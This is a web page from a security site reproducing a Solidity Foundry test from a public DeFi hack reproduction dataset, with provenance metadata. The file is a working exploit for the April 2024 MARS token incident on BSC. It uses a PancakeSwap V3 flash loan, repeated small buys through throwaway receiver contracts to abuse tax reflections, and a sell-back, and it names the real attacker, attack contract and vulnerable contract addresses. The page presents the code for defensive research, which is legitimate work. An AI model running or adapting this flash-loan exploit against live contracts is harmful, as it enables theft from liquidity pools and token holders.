Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/MARS_exp.sol

Public reproduction file for dataset entry MARS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/MARS_exp.sol100 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.17;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// Total Lost: >$100k
8// Attacker: 0x306174b707ebf6d7301a0bcd898ae1666ec176ae
9// Attack Contract: 0x797acb321cb10154aa807fcd1e155c34135483cd
10// Attack Contract: 0x797acb321cb10154aa807fcd1e155c34135483cd
11// Vulnerable Contract: 0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943
12// Attack Tx: https://app.blocksec.com/explorer/tx/bsc/0x25e2af0a55581d5629a933af9fedd3c70e6d0c320f0b72700ca80e5cdd36c80b
14// @Analyses
15// https://twitter.com/Phalcon_xyz/status/1780150315603701933
16// The pair contract can get reflections from taxes. Thus the attacker can user flashloan to repeated swap and sync for better pricing.
18IPancakeV3Pool constant v3pair = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
19IERC20 constant bnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
20IPancakeRouter constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
21IERC20 constant MARS = IERC20(0x436D3629888B50127EC4947D54Bb0aB1120962A0);
23contract MARS_EXP is Test {
24 uint256 lending_amount = 350 ether;
26 function setUp() public {
27 vm.createSelectFork("bsc", 37_903_299); // fork BSC at block 37903299
28 }
30 function testExploit_MARS() public {
31 v3pair.flash(address(this), 0, lending_amount, "");
32 }
34 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata) external {
35 emit log_named_uint("WBNB balance before Attack", bnb.balanceOf(address(this)) / 1 ether);
37 emit log_string("Buying MARS with WBNB");
38 bnb.approve(address(router), 2 ** 256 - 1);
39 MARS.approve(address(router), 2 ** 256 - 1);
41 address[] memory path = new address[](2);
42 path[0] = address(bnb);
43 path[1] = address(MARS);
45 for (uint256 i = 0;;) {
46 if (bnb.balanceOf(address(this)) == 0) {
47 break;
48 }
49 uint256 tobuy = router.getAmountsIn(1000 ether, path)[0];
50 TokenReceiver receiver = new TokenReceiver();
51 if (bnb.balanceOf(address(this)) > tobuy) {
52 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
53 tobuy, 0, path, address(receiver), block.timestamp + 1
54 );
55 // emit log_named_uint("get MARS", MARS.balanceOf(address(receiver)));
56 MARS.transferFrom(address(receiver), address(this), MARS.balanceOf(address(receiver)));
57 } else {
58 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
59 bnb.balanceOf(address(this)), 0, path, address(receiver), block.timestamp + 1
60 );
61 // emit log_named_uint("get MARS", MARS.balanceOf(address(receiver)));
62 MARS.transferFrom(address(receiver), address(this), MARS.balanceOf(address(receiver)));
63 break;
64 }
65 }
67 emit log_named_uint("MARS After buying", MARS.balanceOf(address(this)) / 1 ether);
68 emit log_named_uint("BNB After buying", bnb.balanceOf(address(this)) / 1 ether);
70 path[0] = address(MARS);
71 path[1] = address(bnb);
72 for (uint256 i = 0;;) {
73 if (MARS.balanceOf(address(this)) == 0) {
74 break;
75 }
76 if (MARS.balanceOf(address(this)) > 1000 ether) {
77 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
78 1000 ether, 0, path, address(this), block.timestamp + 1
79 );
80 } else {
81 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
82 MARS.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1
83 );
84 break;
85 }
86 }
88 emit log_named_uint("WBNB balance After Attack", bnb.balanceOf(address(this)) / 1 ether);
89 emit log_named_uint("MARS After Attack", MARS.balanceOf(address(this)) / 1 ether);
91 bnb.transfer(msg.sender, lending_amount + fee1);
92 emit log_named_uint("WBNB balance After Paying back", bnb.balanceOf(address(this)) / 1 ether);
93 }
96contract TokenReceiver {
97 constructor() {
98 MARS.approve(msg.sender, 2 ** 256 - 1);
99 }

Analysis

Dataset entry

Public Foundry test for “MARS” (2024-04-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x306174b707ebf6d7301a0bcd898ae1666ec176ae

  • Attack Contract

    0x797acb321cb10154aa807fcd1e155c34135483cd

  • Vulnerable Contract

    0x3dc7e6ff0fb79770fa6fb05d1ea4deacce823943

  • Attack Tx

    0x25e2af0a55581d5629a933af9fedd3c70e6d0c320f0b72700ca80e5cdd36c80b

File record

Name
MARS
Path
src/test/2024-04/MARS_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
978734a4f8b68bc0068eee9821bf8faf0290d33e
Language
Solidity
Size
101 lines
Date
2024-04-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/MARS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 978734a4f8b68bc0068eee9821bf8faf0290d33e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.